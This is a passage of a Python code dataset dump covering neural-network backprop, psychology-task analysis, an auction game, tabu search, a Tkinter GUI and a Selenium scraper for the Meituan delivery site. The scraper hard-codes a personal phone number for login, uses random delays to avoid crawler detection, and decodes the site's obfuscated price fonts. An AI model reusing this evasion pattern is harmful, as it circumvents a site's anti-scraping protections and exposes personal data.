poolsize[1]\n if col >= width:\n col = 0\n row += poolsize[1]\n \n #Return New delta \n return delta_new\n\ndef BackProp_To_Conv(delta, weight_filters, stride, input_to_conv, pre_z_values):\n #Get shape of weights\n num_filters, depth, filter_size, filter_size = weight_filters.shape\n\n #Initialze Slope of weights and biases\n Slopeb = np.zeros((num_filters, 1))\n Slopew = np.zeros((weight_filters.shape))\n \n total_delta_per_layers = delta.shape[1]*delta.shape[2]\n #Reshape delta\n delta = delta.reshape((delta.shape[0], total_delta_per_layers))\n \n #For all Filters evaluate Slopew and Slopeb for filter\n for j in range(num_filters):\n col, row = 0, 0\n for i in range(total_delta_per_layers):\n to_conv = input_to_conv[:, row:row+filter_size, col:col+filter_size]\n Slopew[j] += to_conv * delta[j][i]\n Slopeb[j] += delta[j][i]\n #update col\n col += stride[1]\n \n \n if (col + filter_size) - stride >= input_to_conv.shape[2]:\n col = 0\n row += stride\n return (Slopeb, Slopew)\n\n#Helper functon for transition from pooling layer to convolution layer\ndef max_prime(res, delta, tile_to_pool):\n dim1, dim2 = tile_to_pool.shape\n tile_to_pool = tile_to_pool.reshape((dim1 * dim2))\n new_delta = np.zeros((tile_to_pool.shape))\n \n for i in range(len(tile_to_pool)):\n num = tile_to_pool[i]\n if num < res:\n new_delta[i] = 0\n else:\n new_delta[i] = delta\n return new_delta.reshape((dim1, dim2))\n","sub_path":"BackPropogationCNN.py","file_name":"BackPropogationCNN.py","file_ext":"py","file_size_in_byte":4059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"380946833","text":"\n#Solution - Falnker task (5)\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndef main():\n df = pd.read_csv(\"flanker_data/P1Flanker1.csv\")\n # TASK A\n mean = df[\"Correct\"].mean() \n correct_df = df[df.Correct == 1]\n correct_Mean = correct_df[\"ReactionTime\"].mean()\n incorrect_df = df[df.Correct == 0]\n incorrect_Mean = incorrect_df[\"ReactionTime\"].mean()\n # ~print results\n print(f\"A1. mean accuracy across the task: \\t\\t\\t\\t\\t {mean}\")\n print(f\"A2. mean reaction time across the task - for correct responses only:\\t {correct_Mean}\")\n print(f\"A3. mean reaction time across the task - for incorrect responses only:\\t {incorrect_Mean}\")\n # TASK B\n congruent = correct_df[correct_df.Condition == 0][\"ReactionTime\"].mean()\n neutral = correct_df[correct_df.Condition == 1][\"ReactionTime\"].mean()\n incongruent = correct_df[correct_df.Condition == 2][\"ReactionTime\"].mean()\n # create barplot \n bplot = pd.DataFrame({'mean reaction time':['congruent', 'neutral', 'incongruent'], 'val':[congruent, neutral, incongruent]})\n bplot.plot.bar(x='mean reaction time', y='val', rot=0)\n plt.show()\n \nif __name__ == \"__main__\":\n main()","sub_path":"Flanker_task.py","file_name":"Flanker_task.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"129028375","text":"import Member\n\nclass Party:\n\n\tpartyMembers = []\n\n\tdef __init__(self):\n\t\tself.partyMembers = []\n\n\tdef addMember(self, newMember):\n\t\tself.partyMembers.append(newMember)\n\n##\tdef addMember(self, className, newName, level):\n##\t\tnewMember = Member.Member(className, newName, level)\n##\t\tself.partyMembers.append(newMember)\n\n\tdef __str__(self):\n\t\tstringList = []\n\t\tspacing = 2\n\t\t\n\t\tfor member in self.partyMembers:\n\t\t\tnewList = str(member).split(\"\\n\")\n\t\t\tstringList.append(newList)\n\n\t\toutString = \"\"\n\t\tfor i in range(len(stringList[0])):\n\t\t\tnewLine = \"\"\n\t\t\tfor each in stringList:\n\t\t\t\tif (each[i] != \"\\n\"):\n\t\t\t\t\tnewLine+=each[i]\n\t\t\t\t\tnewLine+=(\" \"*spacing+\"|\"+\" \"*spacing)\n\t\t\tnewLine+=\"\\n\"\n\t\t\toutString+=newLine\n\n\t\treturn outString\n","sub_path":"Party.py","file_name":"Party.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"611849139","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 16 11:31:34 2017\n\n@author: vitorhadad\n\"\"\"\nimport numpy as np\n\nclass Game:\n \n def __init__(self, n_players):\n \n self.n_players = n_players\n self.value = self.reset()\n \n \n def step(self, actions):\n rs = self.decide(actions)\n self.value = self.next_shock(self.value)\n return self.value, rs, False, None\n \n \n def reset(self):\n vs = np.random.uniform(size = (self.n_players - 1))\n self.value = np.hstack([vs, 0])\n return self.value\n \n \n def next_shock(self, s):\n s = s.copy()\n ds = 0.02*(.5 - s) + np.random.normal(0,.1, size = self.n_players)\n s = np.clip(s + ds, 0, 1)\n s[-1] = 0\n return s\n \n\n def decide(self, actions):\n \n bids, weight = actions[:-1], actions[-1]\n \n largest = np.argwhere(np.isclose(bids, np.max(bids))).flatten()\n winner = np.random.choice(largest)\n \n loser = 1 - winner\n #payment = bids[winner]*(1 - weight) + bids[loser]*weight\n payment = bids[loser]\n \n rs = np.zeros((self.n_players))\n rs[winner] = self.value[winner] - payment \n rs[loser] = 0\n rs[-1] = -np.mean(self.value[:-1] - bids)\n \n return rs\n \n \n#%%\nif __name__ == \"__main__\":\n \n import matplotlib.pyplot as plt\n \n auc = Game(n_players = 3)\n vs = [auc.value]\n for _ in range(100):\n v,*_ = auc.step(np.array([0, .5, .5]))\n vs += [v]\n plt.plot(vs)\n \n #%%\n vs = auc.value.copy()\n a = np.array([0.4, 0.8, 1])\n _,rs,*_ = auc.step(a)\n ","sub_path":"auction.py","file_name":"auction.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"261647528","text":"\nimport copy\nimport random\nimport time\n\nimport numpy as np\nfrom scipy.stats import truncnorm\n\nfrom Parameter_Search.Algorithms import Error_Calculation as Test\n\n'''Tabu search algorithm for the optimization of the opioid ODE system'''\n\n# Ranges of Parameters ------------------------\n\n\ndef randParameter(ranges):\n \"\"\" Returns a new random vector of parameters\"\"\"\n Theta = []\n for i in range(len(ranges)):\n Theta += [runif(ranges[i])]\n return Theta\n\n\ndef centParameter(ranges):\n \"\"\"Returns a new vector parameter with middle of all ranges\"\"\"\n Theta = []\n for i in range(len(ranges)):\n Theta += [(ranges[i][0] + ranges[i][1]) / 2]\n return Theta\n\n\n# Different functions to determine a new parameter\n# Continuous Changes\n# Uniform\ndef runif(range):\n \"\"\" Helper Function for runifParater to return random uniform from range low to high\"\"\"\n return np.random.uniform(range[0], range[1])\n\n\ndef runifParameter(parameter, i, ranges):\n \"\"\" With order of ap, cp, hr, mr, amt, ct, cmt, hor, mor, hs, ms, ds, ri, pg, fenor\n Adjusts the current ith Parameter.\"\"\"\n return runif(ranges[i])\n\n\n# Global scale controls the standard deviation for rnorm.\n# ie Larger globscale searches a smaller area\nglobscale = 5\n\n\n# Normal\ndef rnorm(parameter, range, scale=globscale):\n ''' Helper Function for rnormParameter.\n Truncated normal distribution centered around current parameter estimate.\n sd = changes with globscale parameter defined outside of function\n '''\n lower, upper = range[0], range[1]\n mu, sigma = parameter, (upper - lower) / scale\n return (truncnorm(\n (lower - mu) / sigma, (upper - mu) / sigma, loc=mu, scale=sigma).rvs(1)[0] - mu)\n\n\ndef rnormParameter(parameter, i, ranges):\n \"\"\" Returns a new ith parameter with normal distribution\"\"\"\n return rnorm(parameter=parameter, range=ranges[i])\n\n\n# Neighbor Functions ---------------------\ndef Neighbor(Theta, ranges, n=4):\n \"\"\"Takes in vector of parameters, Theta, and returns a new vector neighbor\n that differs in n indices.\n uses the function rand to sample next parameter\n value.\n Same Function for both continuous and discrete.\"\"\"\n indices = random.sample(range(len(Theta) - 1), n)\n for i in indices:\n Theta[i] += rnormParameter(Theta[i], i, ranges=ranges)\n return Theta\n\n\n# Accept Probability for Annealing ---------------------------\ndef accept_propose(current, proposal, temperature):\n \"\"\"Returns True if Proposal parameter vector should be accepted. else False\"\"\"\n # Proposal is better than current\n if proposal < current:\n return True\n else:\n prob = np.exp(-(proposal - current) / temperature)\n return prob > random.random()\n\ndef cost(solution, region_list, historical_deaths, years_range, dt, ini_method):\n \"\"\" Calculates the cost of the solution that this passed in with respect to the model.\"\"\"\n return Test.calculate_error(parameters=solution, test_years=years_range,\n region_list=region_list, historical_deaths=historical_deaths, dt=dt,\n ini_method=ini_method)\n\n\n# Taboo Search ----------------------------------------------\ndef tabu(region_list, historical_deaths, years_range, ranges, dt, init_method, max_time=120, thresh=250):\n \"\"\" Runs Taboo search from a randomly generated parameter for max_time and returns the best solution found\"\"\"\n\n # Initial Solution and its cost\n solution = randParameter(ranges)\n old_pop, old_cost = cost(solution, region_list, historical_deaths, years_range, dt, init_method)\n best_cost = old_cost\n best_solution = copy.deepcopy(solution)\n best_pop = old_pop\n\n # Taboo threshold tracker\n count = 0\n\n # Dictionary to store\n param_error_dict = {}\n\n # record time\n t0 = time.clock()\n\n # taboo until max_time\n while time.clock() - t0 < max_time:\n # Get Neighbor solution and its cost\n new_solution = Neighbor(solution, ranges)\n new_pop, new_cost = cost(new_solution, region_list, historical_deaths, years_range, dt, init_method)\n # If it's better, record it\n if new_cost < best_cost:\n best_cost = new_cost\n best_pop = new_pop\n best_solution = copy.deepcopy(new_solution)\n # Track the improvement\n param_error_dict[(tuple(best_solution), tuple(best_pop))] = best_cost\n\n # Keep of count of how many neighbors since last improvement\n else:\n count += 1\n # Our proposed solution is still within threshold and\n # its not to big\n if count < thresh and not accept_propose(old_cost, new_cost, .5):\n solution = new_solution\n # Restart at last best solution\n else:\n solution = copy.deepcopy(best_solution)\n count = 0\n return (best_solution, best_pop), param_error_dict, best_cost\n","sub_path":"Parameter_Search/Algorithms/Tabu_Search.py","file_name":"Tabu_Search.py","file_ext":"py","file_size_in_byte":4927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"499589947","text":"#!/usr/bin/env python\n\n# Copyright 2019 Juliane Mai - juliane.mai(at)uwaterloo.ca\n#\n# License\n# This file is part of Juliane Mai's personal code library.\n#\n# Juliane Mai's personal code library is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Lesser General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Juliane Mai's personal code library is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Lesser General Public License for more details.\n\n# You should have received a copy of the GNU Lesser General Public Licensefstop\n# along with Juliane Mai's personal code library. If not, see .\n#\n\nfrom __future__ import print_function\n\n\"\"\"\nHelper functions for Sobol' sensitivity analysis of RAVEN\n\nHistory\n-------\nWritten, JM, Jun 2019\n\"\"\"\n\nfrom pathlib2 import Path\n\ndef writeString(fname, string):\n \"\"\"\n Arguments\n ---------\n fname (Union[Text, pathlib2.Path]) : file name\n string (Text) : file's content to write\n\n Return\n ------\n None\n\n Purpose\n -------\n Write given string to file. All necessary directories\n will be created.\n \"\"\"\n\n makeDirectories([Path(fname)])\n with open(str(fname), \"w\") as f:\n f.write(string)\n f.close()\n\ndef makeDirectories(fnames):\n \"\"\"\n Arguments\n ---------\n fnames (List[pathlib2.Path]): file or directory names.\n\n Return\n ------\n None\n\n\n Purpose\n -------\n Create all directories necessary to be able to access\n the given filenames or directory\n \n Note\n ----\n Anything in 'fnames' with a file extension in the form of '.*' is\n considered to be file, anything else to represent a directory.\n \"\"\"\n\n dirs = set([f.parent if f.suffix else f for f in fnames])\n for d in dirs:\n d.mkdir(parents=True, exist_ok=True)\n","sub_path":"examples/raven-gr4j-cemaneige/model/raven_common.py","file_name":"raven_common.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"322989213","text":"from selenium import webdriver\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\nimport random\r\nimport csv\r\n\r\n\r\nclass Crawler:\r\n def __init__(self):\r\n self.browser = webdriver.Firefox()\r\n\r\n def log_in(self, url):\r\n\r\n self.browser.get(url)\r\n\r\n time.sleep(10)\r\n telephone = self.browser.find_element_by_xpath('/html/body/div[2]/div[7]/div[1]/input')\r\n\r\n telephone.send_keys('18291893261')\r\n time.sleep(2)\r\n classify_code = self.browser.find_element_by_xpath('/html/body/div[2]/div[7]/div[1]/div/span')\r\n classify_code.click()\r\n code = input(\"Please enter the classify code:\")\r\n password = self.browser.find_element_by_xpath('/html/body/div[2]/div[7]/div[2]/input')\r\n password.send_keys(str(code))\r\n time.sleep(random.randint(8, 10))\r\n login = self.browser.find_element_by_xpath('/html/body/div[2]/div[7]/div[3]/button[2]')\r\n login.click()\r\n time.sleep(random.randint(5, 10))\r\n # sure = self.browser.find_element_by_xpath('//*[@id=\"iLoginComp-tip-confirm-id\"]')\r\n # sure.click()\r\n # time.sleep(random.randint(5, 10))\r\n #\r\n # birthday = self.browser.find_element_by_xpath('//*[@id=\"yodaBirthdayCodeInput\"]')\r\n # birthday.send_keys('20000318')\r\n #\r\n # time.sleep(random.randint(5, 10))\r\n # check = self.browser.find_element_by_xpath('//*[@id=\"yodaVerifyBtn\"]')\r\n # check.click()\r\n\r\n time.sleep(random.randint(6, 10))\r\n # self.location()\r\n\r\n # cookie = browser.get_cookies()\r\n # print(cookie)\r\n\r\n def location(self):\r\n loc = self.browser.find_element_by_xpath('/html/body/mieta/div[1]/div/div/div/div/div/div/div[1]/div[1]')\r\n loc.click()\r\n time.sleep(10)\r\n loc_again = self.browser.find_element_by_xpath(\r\n '/html/body/mieta/div[1]/div/div/div/div/div/div/div/div[2]/div/p[2]/span')\r\n loc_again.click()\r\n time.sleep(10)\r\n\r\n # def scroll_the_window(self):\r\n # all_window_heights = []\r\n # all_window_heights.append(self.browser.execute_script(\"return document.body.scrollHeight;\"))\r\n # while True:\r\n # self.browser.execute_script('scroll(0,10000)')\r\n # time.sleep(random.randint(5, 10)) # 随机数避免被检测出是爬虫\r\n # check_height = self.browser.execute_script(\"return document.body.scrollHeight;\")\r\n # if check_height == all_window_heights[-1]:\r\n # print(\"已经到了浏览器底层\")\r\n # break\r\n # else:\r\n # all_window_heights.append(check_height)\r\n # print(\"正在下拉浏览器\")\r\n def scroll_the_window(self):\r\n js = \"return action=document.body.scrollHeight\"\r\n height = self.browser.execute_script(js)\r\n\r\n # 将滚动条调整至页面底部\r\n self.browser.execute_script('window.scrollTo(0, document.body.scrollHeight)')\r\n time.sleep(5)\r\n\r\n # 定义初始时间戳(秒)\r\n t1 = int(time.time())\r\n\r\n # 定义循环标识,用于终止while循环\r\n status = True\r\n\r\n # 重试次数\r\n num = 0\r\n\r\n while status:\r\n # 获取当前时间戳(秒)\r\n t2 = int(time.time())\r\n # 判断时间初始时间戳和当前时间戳相差是否大于30秒,小于30秒则下拉滚动条\r\n if t2 - t1 < 30:\r\n new_height = self.browser.execute_script(js)\r\n if new_height > height:\r\n time.sleep(1)\r\n self.browser.execute_script('window.scrollTo(0, document.body.scrollHeight)')\r\n # 重置初始页面高度\r\n height = new_height\r\n # 重置初始时间戳,重新计时\r\n t1 = int(time.time())\r\n elif num < 3: # 当超过30秒页面高度仍然没有更新时,进入重试逻辑,重试3次,每次等待30秒\r\n time.sleep(3)\r\n num = num + 1\r\n else: # 超时并超过重试次数,程序结束跳出循环,并认为页面已经加载完毕!\r\n print(\"滚动条已经处于页面最下方!\")\r\n status = False\r\n # 滚动条调整至页面顶部\r\n self.browser.execute_script('window.scrollTo(0, 0)')\r\n break\r\n\r\n def get_source(self):\r\n html = self.browser.page_source\r\n html = html.encode('utf8')\r\n # print(html)\r\n soup = BeautifulSoup(html, 'lxml')\r\n self.save_data(soup)\r\n\r\n def save_data(self, soup):\r\n # 确定用的那个css字体\r\n\r\n file = soup.find('body').find('style').text\r\n file_name = file[-17:-4]\r\n # print(file)\r\n a_list = soup.find(class_=\"_14I_ga12izfkrbg8LnpHcW\").find_all('li')\r\n\r\n for item in a_list:\r\n time.sleep(2)\r\n name = item.find(class_='_1DtOrxweBD8MIzOOrhn9cs').text\r\n print(\"name:\", name)\r\n sales = item.find(class_=\"_257aD1mYh6bWz4bmXz3DSv _3fbi7-DiA-2q0ecYl1bi2j mtsi-num\").string[2:-1]\r\n\r\n print(\"sales:\", sales)\r\n final_sales = \"\"\r\n for temp in sales:\r\n final_sales += num_map[file_name][temp]\r\n print(num_map[file_name][temp], end=\"\")\r\n print(\"\\n\")\r\n\r\n send_time = item.find(class_=\"_3fbi7-DiA-2q0ecYl1bi2j mtsi-num\").string[:-2]\r\n final_send_time = \"\"\r\n print(\"send_time:\", send_time)\r\n for temp in send_time:\r\n final_send_time += num_map[file_name][temp]\r\n print(num_map[file_name][temp], end=\"\")\r\n print(\"\\n\")\r\n distance = item.find(class_=\"_3fbi7-DiA-2q0ecYl1bi2j _2vTtS2LuUOARC19vNowA9w mtsi-num\").string\r\n if distance[-2] == \"k\":\r\n distance = distance[:-2]\r\n else:\r\n distance = distance[:-1]\r\n final_distance = \"\"\r\n print(\"distance:\", distance)\r\n for temp in distance:\r\n if temp == \".\":\r\n final_distance += \".\"\r\n print(\".\", end=\"\")\r\n else:\r\n final_distance += num_map[file_name][temp]\r\n print(num_map[file_name][temp], end='')\r\n print(\"\\n\")\r\n starting_price = item.find(class_=\"_3DcMzS2xKx7PfzNq_sUnxn\").find(\r\n class_='_3fbi7-DiA-2q0ecYl1bi2j mtsi-num').string[4:]\r\n final_start_price = \"\"\r\n print(\"start_price:\", starting_price)\r\n for temp in starting_price:\r\n print(num_map[file_name][temp], end=\"\")\r\n final_start_price += num_map[file_name][temp]\r\n print('\\n')\r\n delivery_price = item.find(class_=\"_3DcMzS2xKx7PfzNq_sUnxn\").find_all(\r\n class_=\"_3fbi7-DiA-2q0ecYl1bi2j _2vTtS2LuUOARC19vNowA9w mtsi-num\")[0].string\r\n print(delivery_price)\r\n final_delivery_price = \"\"\r\n if delivery_price == \"免配送费\":\r\n delivery_price = 0\r\n print(\"delivery_price:\", delivery_price)\r\n final_delivery_price += \"0\"\r\n else:\r\n delivery_price = delivery_price[4:]\r\n print(\"delivery_price:\", delivery_price)\r\n for temp in delivery_price:\r\n if temp == \".\":\r\n final_delivery_price += \".\"\r\n print(\".\")\r\n else:\r\n print(num_map[file_name][temp], end=\"\")\r\n final_delivery_price += num_map[file_name][temp]\r\n print(\"\\n\")\r\n final_mean_price = \"\"\r\n try:\r\n mean_price = item.find(class_=\"_3DcMzS2xKx7PfzNq_sUnxn\").find_all(\r\n class_='_3fbi7-DiA-2q0ecYl1bi2j _2vTtS2LuUOARC19vNowA9w mtsi-num')[1].string[4:]\r\n print(\"mean_price:\", mean_price)\r\n for temp in mean_price:\r\n final_mean_price += num_map[file_name][temp]\r\n print(num_map[file_name][temp], end=\"\")\r\n print(\"\\n\")\r\n except:\r\n mean_price = 0\r\n print(\"mean_price:\", mean_price)\r\n final_mean_price += \"0\"\r\n\r\n score = item.find(class_=\"_3fbi7-DiA-2q0ecYl1bi2j _3xfmNN1n12Gov71h-3rfhp\").string\r\n final_score = str(score)\r\n print(\"score:\", score)\r\n with open('BP/BPmeituanData.csv', 'a+', newline='', encoding='utf-8-sig')as f:\r\n writer = csv.writer(f)\r\n writer.writerow(\r\n [name, final_sales, final_send_time, final_distance, final_start_price, final_delivery_price,\r\n final_mean_price, final_score])\r\n\r\n\r\nnum_map = {'08220675.woff': {'\\ue0f9': '9', '\\ue275': '2', '\\ue13e': '4', '\\uf785': '0', '\\ue5c7': '1', '\\uf8f9': '5',\r\n '\\uf8fc': '7',\r\n '\\ue060': '6', '\\ue6c0': '3', '\\uf140': '8'},\r\n '5f0be5ce.woff': {'\\ue350': '9', '\\ue4d4': '6', '\\uf005': '5', '\\uf56f': '2', '\\ue97b': '1', '\\ue458': '0',\r\n '\\ue5e0': '4',\r\n '\\ue379': '8', '\\ue3fc': '7', '\\ueb7b': '3'},\r\n '8a16e02d.woff': {'\\uf80c': '3', '\\ue196': '9', '\\ue7ba': '5', '\\ue04c': '8', '\\uf41d': '2', '\\ue92a': '7',\r\n '\\ue9cf': '6',\r\n '\\ue3c9': '1', '\\ue340': '0', '\\ued8b': '4'},\r\n 'c722c643.woff': {'\\uee40': '2', '\\uf117': '8', '\\uf3e7': '6', '\\uebc4': '7', '\\ue990': '0', '\\ueb02': '3',\r\n '\\uef32': '1',\r\n '\\ueed7': '9', '\\uec2e': '5', '\\ue518': '4'},\r\n 'd2324528.woff': {'\\ue703': '7', '\\ue8c2': '9', '\\ue5b9': '5', '\\ue199': '3', '\\ue168': '2', '\\uf34f': '6',\r\n '\\ue14f': '8',\r\n '\\uead7': '1', '\\ue9d3': '0', '\\uf80a': '4'},\r\n '26454aeb.woff': {'\\ue426': '9', '\\ue13b': '6', '\\ueae8': '3', '\\uee88': '4', '\\uf553': '0', '\\uf8a6': '7',\r\n '\\uf8d8': '2',\r\n '\\uf08d': '5', '\\uf198': '1', '\\ued18': '8'},\r\n 'b3b7ee0d.woff': {'\\ue69f': '2', '\\uf58f': '0', '\\uf170': '4', '\\uf0ea': '5', '\\ue391': '1', '\\ue1be': '9',\r\n '\\uf4fa': '7',\r\n '\\ueb13': '6', '\\ue1dd': '3', '\\uf79f': '8'},\r\n '7e941ac2.woff': {'\\ued9a': '7', '\\ue7a5': '5', '\\ue641': '0', '\\ueb24': '6', '\\uf4fd': '1', '\\ue306': '9',\r\n '\\ue3a5': '8',\r\n '\\uf62e': '2', '\\uf484': '4', '\\uef14': '3'},\r\n 'd2f7b57f.woff': {'\\ue163': '2', '\\uea95': '1', '\\ueff2': '3', '\\ue5f2': '0', '\\uf1c9': '5', '\\uf0ef': '8',\r\n '\\uea41': '6',\r\n '\\ue3b5': '9', '\\ue85a': '4', '\\uf0fc': '7'},\r\n 'd308c5b0.woff': {'\\uebd3': '6', '\\ue716': '0', '\\uf3b7': '5', '\\ue62a': '9', '\\uec06': '7', '\\ue76b': '8',\r\n '\\uefca': '4',\r\n '\\uf4af': '2', '\\uee0c': '3', '\\ueb02': '1'},\r\n '0bec55e0.woff': {'\\uef81': '3',\r\n '\\uf276': '6', '\\uf25e': '0', '\\ue7aa': '4', '\\ue84b': '8', '\\ue92b': '2', '\\ue3d6': '5',\r\n '\\uea3d': '7',\r\n '\\uf633': '9',\r\n '\\ue694': '1'},\r\n \"95a89f18.woff\": {'\\uee64': '7', '\\ue6c8': '2', '\\uf3ce': '3', '\\ue511': '0', '\\uef0e': '4', '\\ue2bc': '9', '\\uea5b': '8',\r\n '\\ueb5a': '1', '\\ueb7e': '6', '\\uf397': '5'},\r\n '57ed9f2a.woff': {'\\ue579': '8', '\\uedca': '1', '\\ue9d1': '4', '\\uf58f': '7', '\\uef2a': '5', '\\ue543': '9', '\\uee84': '2',\r\n '\\ueebc': '3', '\\uf684': '6', '\\ue860': '0'\r\n }\r\n }\r\n\r\nif __name__ == '__main__':\r\n with open('BP/BPmeituanData.csv', 'a+', newline='', encoding='utf-8-sig') as f:\r\n writer = csv.writer(f)\r\n writer.writerow(\r\n ['name', 'sales', 'send_time', 'distance', 'start_price', 'delivery_price', 'mean_price', 'score'])\r\n\r\n crawler = Crawler()\r\n # crawler.log_in(\r\n # 'https://h5.waimai.meituan.com/waimai/mindex/kingkong?navigateType=910&firstCategoryId=910&secondCategoryId=910&title=%E7%BE%8E%E9%A3%9F')\r\n crawler.log_in('https://h5.waimai.meituan.com/waimai/mindex/home')\r\n time.sleep(60)\r\n # crawler.scroll_the_window()\r\n crawler.get_source()\r\n","sub_path":"PCA_Clustering/meituanDataBP.py","file_name":"meituanDataBP.py","file_ext":"py","file_size_in_byte":12707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"559430531","text":"# -*- coding: UTF-8 -*-\nimport core.game as game\nimport script.lib as lib\nimport script.people\nimport script.world\nimport script.play_cfg\nfrom script.mainflow import main_func\n\n\nclass Target_group():\n def __init__(self, group_data):\n self.data = group_data\n\n def deal_people(p):\n if p == {}:\n return None\n else:\n return Target_people(p)\n\n self.p1 = deal_people(group_data['队伍队员'][0])\n self.p2 = deal_people(group_data['队伍队员'][1])\n self.p3 = deal_people(group_data['队伍队员'][2])\n self.p4 = deal_people(group_data['队伍队员'][3])\n self.p5 = deal_people(group_data['队伍队员'][4])\n self.p6 = deal_people(group_data['队伍队员'][5])\n self.peoplelist = [self.p1, self.p2, self.p3, self.p4, self.p5, self.p6]\n\n\nclass Target_people():\n # def __str__(self):\n # return self.姓名 + ' ' + str(self.当前体力) + ' ' + str(self.体力上限) + ' '\n\n def __init__(self, people_data):\n self.data = people_data\n self.姓名 = self.data['姓名']\n self.当前体力 = self.data['属���']['体力上限']\n self.体力上限 = self.data['属性']['体力上限']\n\n def 近战鉴定(self, difficult):\n here = self.data['经验']['近战经验'] * 5 + self.data['能力']['近战'] * 10\n game.pl('近战经验*5+近战*10=' + str(here) + ' 难度:' + str(difficult))\n if difficult < here:\n return True\n else:\n return False\n\n\nclass Target_world():\n def __init__(self, world_data):\n self.data = world_data\n self.当前进度 = 1\n self.当前剧情 = world_data['剧情列表'][self.当前进度]\n\n\nclass Target_scene():\n def __init__(self, scene_data):\n self.data = scene_data\n self.名称 = self.data['名称']\n self.难度 = self.data['难度']\n\n\ntgroup = None\ntworld = None\ntscene = None\n\n\ndef init_play():\n global tgroup, tworld, tscene\n if game.data['试炼设置']['试炼队伍'] == None or game.data['试炼设置']['试炼世界'] == None:\n game.pl('没有指定[试炼队伍]或[试炼世界],请于[试炼设置]中选择', 'notice')\n main_func()\n tgroup = Target_group(game.data['试炼设置']['试炼队伍'])\n tworld = Target_world(game.data['试炼设置']['试炼世界'])\n tscene = Target_scene(tworld.当前剧情)\n main_play()\n\n\ndef main_play():\n global tgroup, tworld, tscene\n game.clr_cmd()\n game.pline()\n string = '剧情容量:' + lib.value_bar(tworld.当前进度, tworld.data['剧情容量'])\n string += game.align(' 下一剧情:' + tscene.名称, 40, 'right')\n game.pl(string)\n for p in tgroup.peoplelist:\n prefix = '人物体力(' + p.姓名 + '):'\n prefix = game.align(prefix, 20)\n game.pl(prefix + lib.value_bar(p.当前体力, p.体力上限))\n game.pline('--', 'notice')\n\n def begin_scene():\n game.call_event('进行剧情_' + tworld.当前剧情['名称'], arg=(tgroup, tworld, tscene))\n main_play()\n\n game.pcmd('[100] 开始剧情', 100, begin_scene)\n game.pl()\n game.pcmd('[101] 调整剧情', 101, lambda: \"break\")\n game.pl()\n game.pcmd('[999] 结束试炼', 999, main_func)\n game.askfor_order()\n","sub_path":"script/play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":3330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"279697755","text":"import tkinter as tk\nfrom tkinter import Menu, Tk, Text, DISABLED, RAISED,Frame, FLAT, Button, Scrollbar, Canvas, END\nfrom tkinter import messagebox as MessageBox\nfrom tkinter import ttk,filedialog, INSERT\nimport os\nimport pathlib\nfrom campo import Campo\nfrom arbol import Arbol\nimport http.client\nformularios=[]\ntextos=[]\ncontrol=0\nnotebook= None\n#Metodo GET para probar peticiones al servidor\ndef myGET():\n myConnection = http.client.HTTPConnection('localhost', 8000, timeout=10)\n\n headers = {\n \"Content-type\": \"text/plain\"\n }\n\n myConnection.request(\"GET\", \"/data/database.tytus\", \"\", headers)\n response = myConnection.getresponse()\n print(\"Status: {} and reason: {}\".format(response.status, response.reason))\n myData = response.read()\n print(myData.decode(\"utf-8\") )\n myConnection.close()\n\n#Metodo POST para probar peticiones al servidor\ndef myPOST():\n myConnection = http.client.HTTPConnection('localhost', 8000, timeout=10)\n\n headers = {\n \"Content-type\": \"text/plain\"\n }\n\n postData = \"Test http.server from http.client :D\"\n\n myConnection.request(\"POST\", \"/\", postData, headers)\n response = myConnection.getresponse()\n print(\"Status: {} and reason: {}\".format(response.status, response.reason))\n myData = response.read()\n print(myData.decode(\"utf-8\") )\n myConnection.close() \n\n\ndef CrearMenu(masterRoot):\n\n ########### menu ############\n #Se crea la barra\n barraDeMenu=Menu(masterRoot, tearoff=0,relief=FLAT, font=(\"Verdana\", 12),activebackground='red')\n #Se crean los menus que se deseen\n archivo=Menu(barraDeMenu, tearoff=0)\n #Crear las opciones de la opción del menú\n #Se elimino el comando de crear Ventana por problemas con las imagenes\n\n archivo.add_command(label=\"Nueva ventana\")\n archivo.add_command(label=\"Abrir query\",command=abrir)\n archivo.add_command(label=\"Abrir un modelo\")\n archivo.add_separator()\n archivo.add_command(label=\"Nueva Query\",command=lambda: añadir('Nuevo'))\n archivo.add_command(label=\"Guardar como...\",command=guardarComo)\n archivo.add_command(label=\"Guardar\",command=guardarArchivo)\n archivo.add_command(label=\"Cerrar pestaña actual\",command=cerrarPestaña)\n archivo.add_separator()\n archivo.add_command(label=\"Salir\")\n\n #creando el Editar\n editar=Menu(barraDeMenu, tearoff=0)\n #agregando su lista\n editar.add_command(label=\"Cortar\")\n editar.add_command(label=\"Pegar\")\n editar.add_command(label=\"Copiar\")\n editar.add_separator()\n editar.add_command(label=\"Seleccionar todo\")\n editar.add_command(label=\"Formato\")\n editar.add_command(label=\"Preferencias\")\n\n #se agrega Tools\n tools=Menu(barraDeMenu, tearoff=0)\n #se agrega su lista\n tools.add_command(label=\"Configuración\")\n tools.add_command(label=\"Utilidades\")\n #Temporary tools to test client-server connection\n tools.add_command(label=\"SELECT (GET)\", command = myGET)\n tools.add_command(label=\"CREATE (POST)\", command = myPOST)\n \n\n #se agrega 